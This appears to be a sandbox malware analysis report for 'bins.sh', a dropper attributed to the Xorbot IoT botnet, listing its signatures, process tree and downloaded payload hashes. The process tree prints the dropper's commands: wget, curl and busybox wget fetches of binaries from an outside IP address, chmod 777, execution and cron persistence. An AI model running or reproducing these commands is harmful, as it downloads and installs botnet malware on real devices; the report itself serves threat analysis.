Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    123s
  • max time network
    122s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    10/01/2025, 21:32

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250110-1dlets1kfq
  • SHA256 793fdf88299487cd699404bd5dac67dfff670524cfea68454e2f3ccc0ad2e400
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatiotrojan

Malware Config

Signatures

  • Detects Xorbot 6 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (576) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 22 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:703
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:705
        • /usr/bin/wget
          wget http://66.63.187.225/bins/Mf3IetC0ukaNiashNPSpjcpK65boRZSDvI
          2⤵
          • Writes file to tmp directory
          PID:707
        • /usr/bin/curl
          curl -O http://66.63.187.225/bins/Mf3IetC0ukaNiashNPSpjcpK65boRZSDvI
          2⤵
          • Writes file to tmp directory
          PID:731
        • /bin/busybox
          /bin/busybox wget http://66.63.187.225/bins/Mf3IetC0ukaNiashNPSpjcpK65boRZSDvI
          2⤵
          • Writes file to tmp directory
          PID:732
        • /bin/chmod
          chmod 777 Mf3IetC0ukaNiashNPSpjcpK65boRZSDvI
          2⤵
          • File and Directory Permissions Modification
          PID:733
        • /tmp/Mf3IetC0ukaNiashNPSpjcpK65boRZSDvI
          ./Mf3IetC0ukaNiashNPSpjcpK65boRZSDvI
          2⤵
          • Executes dropped EXE
          PID:734
        • /bin/rm
          rm Mf3IetC0ukaNiashNPSpjcpK65boRZSDvI
          2⤵
            PID:736
          • /usr/bin/wget
            wget http://66.63.187.225/bins/Z5UKtfI4K8YeZfABB9xBqyKSKPi0JsSSlt
            2⤵
            • Writes file to tmp directory
            PID:737
          • /usr/bin/curl
            curl -O http://66.63.187.225/bins/Z5UKtfI4K8YeZfABB9xBqyKSKPi0JsSSlt
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:783
          • /bin/busybox
            /bin/busybox wget http://66.63.187.225/bins/Z5UKtfI4K8YeZfABB9xBqyKSKPi0JsSSlt
            2⤵
            • Writes file to tmp directory
            PID:784
          • /bin/chmod
            chmod 777 Z5UKtfI4K8YeZfABB9xBqyKSKPi0JsSSlt
            2⤵
            • File and Directory Permissions Modification
            PID:785
          • /tmp/Z5UKtfI4K8YeZfABB9xBqyKSKPi0JsSSlt
            ./Z5UKtfI4K8YeZfABB9xBqyKSKPi0JsSSlt
            2⤵
            • Executes dropped EXE
            PID:786
          • /bin/rm
            rm Z5UKtfI4K8YeZfABB9xBqyKSKPi0JsSSlt
            2⤵
              PID:788
            • /usr/bin/wget
              wget http://66.63.187.225/bins/ZWuR9VwpxCFH9ITNcA1I1q36oQ2hMpvRAz
              2⤵
              • Writes file to tmp directory
              PID:789
            • /usr/bin/curl
              curl -O http://66.63.187.225/bins/ZWuR9VwpxCFH9ITNcA1I1q36oQ2hMpvRAz
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:812
            • /bin/busybox
              /bin/busybox wget http://66.63.187.225/bins/ZWuR9VwpxCFH9ITNcA1I1q36oQ2hMpvRAz
              2⤵
              • Writes file to tmp directory
              PID:821
            • /bin/chmod
              chmod 777 ZWuR9VwpxCFH9ITNcA1I1q36oQ2hMpvRAz
              2⤵
              • File and Directory Permissions Modification
              PID:822
            • /tmp/ZWuR9VwpxCFH9ITNcA1I1q36oQ2hMpvRAz
              ./ZWuR9VwpxCFH9ITNcA1I1q36oQ2hMpvRAz
              2⤵
              • Executes dropped EXE
              PID:823
            • /bin/rm
              rm ZWuR9VwpxCFH9ITNcA1I1q36oQ2hMpvRAz
              2⤵
                PID:825
              • /usr/bin/wget
                wget http://66.63.187.225/bins/HIekusuxUYqwNyoDqBzZS4O4fM0xlfzN0Z
                2⤵
                • Writes file to tmp directory
                PID:826
              • /usr/bin/curl
                curl -O http://66.63.187.225/bins/HIekusuxUYqwNyoDqBzZS4O4fM0xlfzN0Z
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:827
              • /bin/busybox
                /bin/busybox wget http://66.63.187.225/bins/HIekusuxUYqwNyoDqBzZS4O4fM0xlfzN0Z
                2⤵
                • Writes file to tmp directory
                PID:828
              • /bin/chmod
                chmod 777 HIekusuxUYqwNyoDqBzZS4O4fM0xlfzN0Z
                2⤵
                • File and Directory Permissions Modification
                PID:832
              • /tmp/HIekusuxUYqwNyoDqBzZS4O4fM0xlfzN0Z
                ./HIekusuxUYqwNyoDqBzZS4O4fM0xlfzN0Z
                2⤵
                • Executes dropped EXE
                PID:833
              • /bin/rm
                rm HIekusuxUYqwNyoDqBzZS4O4fM0xlfzN0Z
                2⤵
                  PID:835
                • /usr/bin/wget
                  wget http://66.63.187.225/bins/oiZ6ouLLo0Quktyb3Auul3MYgb3BsYeQn4
                  2⤵
                  • Writes file to tmp directory
                  PID:836
                • /usr/bin/curl
                  curl -O http://66.63.187.225/bins/oiZ6ouLLo0Quktyb3Auul3MYgb3BsYeQn4
                  2⤵
                  • Writes file to tmp directory
                  PID:837
                • /bin/busybox
                  /bin/busybox wget http://66.63.187.225/bins/oiZ6ouLLo0Quktyb3Auul3MYgb3BsYeQn4
                  2⤵
                  • Writes file to tmp directory
                  PID:838
                • /bin/chmod
                  chmod 777 oiZ6ouLLo0Quktyb3Auul3MYgb3BsYeQn4
                  2⤵
                  • File and Directory Permissions Modification
                  PID:839
                • /tmp/oiZ6ouLLo0Quktyb3Auul3MYgb3BsYeQn4
                  ./oiZ6ouLLo0Quktyb3Auul3MYgb3BsYeQn4
                  2⤵
                  • Executes dropped EXE
                  PID:840
                • /bin/rm
                  rm oiZ6ouLLo0Quktyb3Auul3MYgb3BsYeQn4
                  2⤵
                    PID:842
                  • /usr/bin/wget
                    wget http://66.63.187.225/bins/pA5Z5Mh8gLBQ9fojHJGS05A6LSVpfeqCQ9
                    2⤵
                    • Writes file to tmp directory
                    PID:843
                  • /usr/bin/curl
                    curl -O http://66.63.187.225/bins/pA5Z5Mh8gLBQ9fojHJGS05A6LSVpfeqCQ9
                    2⤵
                    • Writes file to tmp directory
                    PID:844
                  • /bin/busybox
                    /bin/busybox wget http://66.63.187.225/bins/pA5Z5Mh8gLBQ9fojHJGS05A6LSVpfeqCQ9
                    2⤵
                    • Writes file to tmp directory
                    PID:845
                  • /bin/chmod
                    chmod 777 pA5Z5Mh8gLBQ9fojHJGS05A6LSVpfeqCQ9
                    2⤵
                    • File and Directory Permissions Modification
                    PID:846
                  • /tmp/pA5Z5Mh8gLBQ9fojHJGS05A6LSVpfeqCQ9
                    ./pA5Z5Mh8gLBQ9fojHJGS05A6LSVpfeqCQ9
                    2⤵
                    • Executes dropped EXE
                    PID:847
                  • /bin/rm
                    rm pA5Z5Mh8gLBQ9fojHJGS05A6LSVpfeqCQ9
                    2⤵
                      PID:849
                    • /usr/bin/wget
                      wget http://66.63.187.225/bins/4HxlKPxDdJxpa405FcQ5BJr1CVyuc0Fdu8
                      2⤵
                      • Writes file to tmp directory
                      PID:850
                    • /usr/bin/curl
                      curl -O http://66.63.187.225/bins/4HxlKPxDdJxpa405FcQ5BJr1CVyuc0Fdu8
                      2⤵
                      • Writes file to tmp directory
                      PID:851
                    • /bin/busybox
                      /bin/busybox wget http://66.63.187.225/bins/4HxlKPxDdJxpa405FcQ5BJr1CVyuc0Fdu8
                      2⤵
                      • Writes file to tmp directory
                      PID:852
                    • /bin/chmod
                      chmod 777 4HxlKPxDdJxpa405FcQ5BJr1CVyuc0Fdu8
                      2⤵
                      • File and Directory Permissions Modification
                      PID:853
                    • /tmp/4HxlKPxDdJxpa405FcQ5BJr1CVyuc0Fdu8
                      ./4HxlKPxDdJxpa405FcQ5BJr1CVyuc0Fdu8
                      2⤵
                      • Executes dropped EXE
                      • Renames itself
                      • Reads runtime system information
                      PID:854
                      • /bin/sh
                        sh -c "crontab -l"
                        3⤵
                          PID:856
                          • /usr/bin/crontab
                            crontab -l
                            4⤵
                              PID:857
                          • /bin/sh
                            sh -c "crontab -"
                            3⤵
                              PID:858
                              • /usr/bin/crontab
                                crontab -
                                4⤵
                                • Creates/modifies Cron job
                                • Reads runtime system information
                                PID:859
                          • /bin/rm
                            rm 4HxlKPxDdJxpa405FcQ5BJr1CVyuc0Fdu8
                            2⤵
                              PID:861
                            • /usr/bin/wget
                              wget http://66.63.187.225/bins/FrOb0Nk33smX7yDw26vIkZRltIO1OeCVTA
                              2⤵
                                PID:864
                              • /usr/bin/curl
                                curl -O http://66.63.187.225/bins/FrOb0Nk33smX7yDw26vIkZRltIO1OeCVTA
                                2⤵
                                • Reads runtime system information
                                PID:865
                              • /bin/busybox
                                /bin/busybox wget http://66.63.187.225/bins/FrOb0Nk33smX7yDw26vIkZRltIO1OeCVTA
                                2⤵
                                • Writes file to tmp directory
                                PID:866
                              • /bin/chmod
                                chmod 777 FrOb0Nk33smX7yDw26vIkZRltIO1OeCVTA
                                2⤵
                                • File and Directory Permissions Modification
                                PID:955
                              • /tmp/FrOb0Nk33smX7yDw26vIkZRltIO1OeCVTA
                                ./FrOb0Nk33smX7yDw26vIkZRltIO1OeCVTA
                                2⤵
                                • Executes dropped EXE
                                PID:956
                              • /bin/rm
                                rm FrOb0Nk33smX7yDw26vIkZRltIO1OeCVTA
                                2⤵
                                  PID:958
                                • /usr/bin/wget
                                  wget http://66.63.187.225/bins/79XCuNJvyWPJ35SGj30FqMwmLChoqkkSkA
                                  2⤵
                                    PID:959

                                Network

                                      MITRE ATT&CK Enterprise v15

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      4HxlKPxDdJxpa405FcQ5BJr1CVyuc0Fdu8
                                      • Path /tmp/4HxlKPxDdJxpa405FcQ5BJr1CVyuc0Fdu8
                                      • Size 151KB
                                      • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                      • MD5 SHA1 SHA512 SSDEEP
                                      Submit Download

                                      FrOb0Nk33smX7yDw26vIkZRltIO1OeCVTA
                                      • Path /tmp/FrOb0Nk33smX7yDw26vIkZRltIO1OeCVTA
                                      • Size 122KB
                                      • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                      • MD5 SHA1 SHA512 SSDEEP
                                      Submit Download

                                      HIekusuxUYqwNyoDqBzZS4O4fM0xlfzN0Z
                                      • Path /tmp/HIekusuxUYqwNyoDqBzZS4O4fM0xlfzN0Z
                                      • Size 99KB
                                      • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                      • MD5 SHA1 SHA512 SSDEEP
                                      Submit Download

                                      Mf3IetC0ukaNiashNPSpjcpK65boRZSDvI
                                      • Path /tmp/Mf3IetC0ukaNiashNPSpjcpK65boRZSDvI
                                      • Size 112KB
                                      • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                      • MD5 SHA1 SHA512 SSDEEP
                                      Submit Download

                                      Z5UKtfI4K8YeZfABB9xBqyKSKPi0JsSSlt
                                      • Path /tmp/Z5UKtfI4K8YeZfABB9xBqyKSKPi0JsSSlt
                                      • Size 177KB
                                      • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                      • MD5 SHA1 SHA512 SSDEEP
                                      Submit Download

                                      ZWuR9VwpxCFH9ITNcA1I1q36oQ2hMpvRAz
                                      • Path /tmp/ZWuR9VwpxCFH9ITNcA1I1q36oQ2hMpvRAz
                                      • Size 111KB
                                      • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                      • MD5 SHA1 SHA512 SSDEEP
                                      Submit Download

                                      oiZ6ouLLo0Quktyb3Auul3MYgb3BsYeQn4
                                      • Path /tmp/oiZ6ouLLo0Quktyb3Auul3MYgb3BsYeQn4
                                      • Size 127KB
                                      • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                      • MD5 SHA1 SHA512 SSDEEP
                                      Submit Download

                                      pA5Z5Mh8gLBQ9fojHJGS05A6LSVpfeqCQ9
                                      • Path /tmp/pA5Z5Mh8gLBQ9fojHJGS05A6LSVpfeqCQ9
                                      • Size 107KB
                                      • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                      • MD5 SHA1 SHA512 SSDEEP
                                      Submit Download

                                      tmp.jbTYbk
                                      • Path /var/spool/cron/crontabs/tmp.jbTYbk
                                      • Size 210B
                                      • SHA256 609c92e051147d82a3d2560c92dab052aebbefa39bb0f6261e829be859480fc6
                                      • MD5 SHA1 SHA512
                                      Submit Download